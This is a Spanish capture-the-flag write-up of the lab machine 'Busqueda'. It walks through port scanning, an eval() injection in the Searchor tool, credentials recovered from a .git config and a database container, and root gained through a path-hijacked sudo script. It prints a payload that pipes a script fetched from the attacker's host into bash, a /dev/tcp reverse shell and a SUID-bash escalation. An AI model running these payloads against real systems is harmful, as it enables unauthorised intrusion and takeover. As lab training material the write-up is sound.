Busqueda

Table of contents

  1. Enumeracion
  2. Vulnerabilidad en searchor
  3. Explotando la funcion eval()
  4. Flag de user
  5. Flag de root

Descubriremos que la pagina esta haciendo uso de searchor el cual tiene una vulnerabilidad en eval() la cual nos permitira una ejecucion arbitraria de codigo que conduce a un RCE,

Enumeracion

Iniciamos con un escaneo con el comando

nmap -sS -n -Pn --open -p- 10.129.58.76

Donde le indicamos que con:

  • sS: haga un TCP SYN Scan el cual hace un escaneo sigiloso sin completar las conexiones TCP, responde con un SYN/ACK si esta abierto

  • n: para que no haga resolucion DNS y tarde menos el escaneo

  • Pn: para evitar el descubrimiento de hosts

  • open: para que solo muestre los puertos abiertos

  • -p-: para que escanee todo el rango de puertos

Y nos reporto que hay varios puertos abiertos:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Ahora escanearemos los puertos 22, 80 buscando la version y servicio y demas informacion:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6
|_http-title: Searcher
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

No nos reporta mucha informacion interesante y aun no tenemos credenciales para SSH.

Si interceptamos la peticion con burp, podemos ver que nuestro input esta pasando por el parametro query

Vulnerabilidad en searchor

Si vemos en el footer de la pagina, podemos ver que esta usando searchor

Si le damos click en el nombre, nos mandara a su repo de github, sin embargo la version que sale es la 2.5.2, asi que empezaremos a buscar entre las versiones, a ver si encontramos algo interesante.

En la version 2.4.2 se arreglo una vulnerabilidad en la busqueda por CLI:

Al ver las notas del parche, basicamente nos dice que se removio el metodo eval() de la busqueda por CLI, ya que podiamos ejecutar codigo arbitrario:

@click.argument("query")
def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
        click.echo(url)
        searchor.history.update(engine, query, url)
        if open:

Podemos ver que se esta usando el metodo eval(), donde el primer argumento que recibe, el cual se le llama expresion, es el input que nosotros le mandamos desde la pagina, al ver un poquito del metodo eval, encontre que la expresion es evaluada como una expresion de python, y el valor de retorno de eval(), es el resultado de evaluar la expresion. Si quieres saber mas has click aqui

Explotando la funcion eval()

Guiandome de este link, intentare ejecutar comandos en el servidor, cree un payload para mandarme una revese shell:

',eval("__import__('os').system('curl http://<tu_IP>:8086/shell.html | bash')"))#

Y en mi archivo shell.html tengo esto:

bash -i >& /dev/tcp/<tu_IP>/443 0>&1

Ojo: puse el puerto 8086 por que el 8080 y el 80 los tengo ocupados

Y ya llego la reserve shell:

Flag de user

Si listamos el directorio, podemos ver que existe uno de .git:

-rw-r--r-- 1 www-data www-data 1.1K Dec  1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4.0K Apr 12 12:44 .git
drwxr-xr-x 2 www-data www-data 4.0K Dec  1 14:35 templates

Al listar el contenido, encontramos unas credenciales y un subdominio:

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main

Usuario: cody

Pass: jh1usoih2bkjaspwe92

Subdominio: gitea.searcher.htb

Al iniciar por SSH con cody, no nos deja, asi que tenemos que hacerlo con svc

Y ya tenemos la flag de user:

svc@busqueda:~$ cat user.txt 
9d73b3b689d79b82c42cce959*******

Flag de root

Si buscamos por archivos que podamos ejecutar como root tenemos uno de python:

svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Al ejecutarlo, vemos que recibe varios argumentos:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

Si vemos los contenedores de docker podemos ver varios:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   3 months ago   Up 3 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   3 months ago   Up 3 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

Al ver el contenido del contenedor mysql_db, podemos ver unas credenciales:

En donde la contraseña de gitea es: yuiu1hoiu4i5ho1uh y el usuario administrator

Una vez iniciados sesion en gitea y navegando un poco, encontre el script que estabamos ejecutando:

#!/bin/bash
import subprocess
import sys

actions = ['full-checkup', 'docker-ps','docker-inspect']

def run_command(arg_list):
    r = subprocess.run(arg_list, capture_output=True)
    if r.stderr:
        output = r.stderr.decode()
    else:
        output = r.stdout.decode()

    return output


def process_action(action):
    if action == 'docker-inspect':
        try:
            _format = sys.argv[2]
            if len(_format) == 0:
                print(f"Format can't be empty")
                exit(1)
            container = sys.argv[3]
            arg_list = ['docker', 'inspect', '--format', _format, container]
            print(run_command(arg_list)) 
        
        except IndexError:
            print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
            exit(1)
    
        except Exception as e:
            print('Something went wrong')
            exit(1)
    
    elif action == 'docker-ps':
        try:
            arg_list = ['docker', 'ps']
            print(run_command(arg_list)) 
        
        except:
            print('Something went wrong')
            exit(1)

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)
            

if __name__ == '__main__':

    try:
        action = sys.argv[1]
        if action in actions:
            process_action(action)
        else:
            raise IndexError

    except IndexError:
        print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
        print('')
        print('     docker-ps     : List running docker containers')
        print('     docker-inspect : Inpect a certain docker container')
        print('     full-checkup  : Run a full system checkup')
        print('')
        exit(1)

Donde vi vemos la opcion de full-checkup esta ejecutando un archivo sh:

    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)

Donde el script full-checkup.sh no se le indica la ruta, es decir, se ejecuta desde el directorio donde este el usuario, asi que… ¿Por que no crearlo?, me ire al directorio /tmp y dentro del script, le asignare permisos SUID a /bin/bash:

#!/bin/bash
chmod +s /bin/bash

Ahora solo ponemos: bash -p y ya somos root

bash-5.1# whoami
root
bash-5.1# cat /root/root.txt 
f46884c23c53cc716ac549803*******

Eso ha sido todo, gracias por leer ❤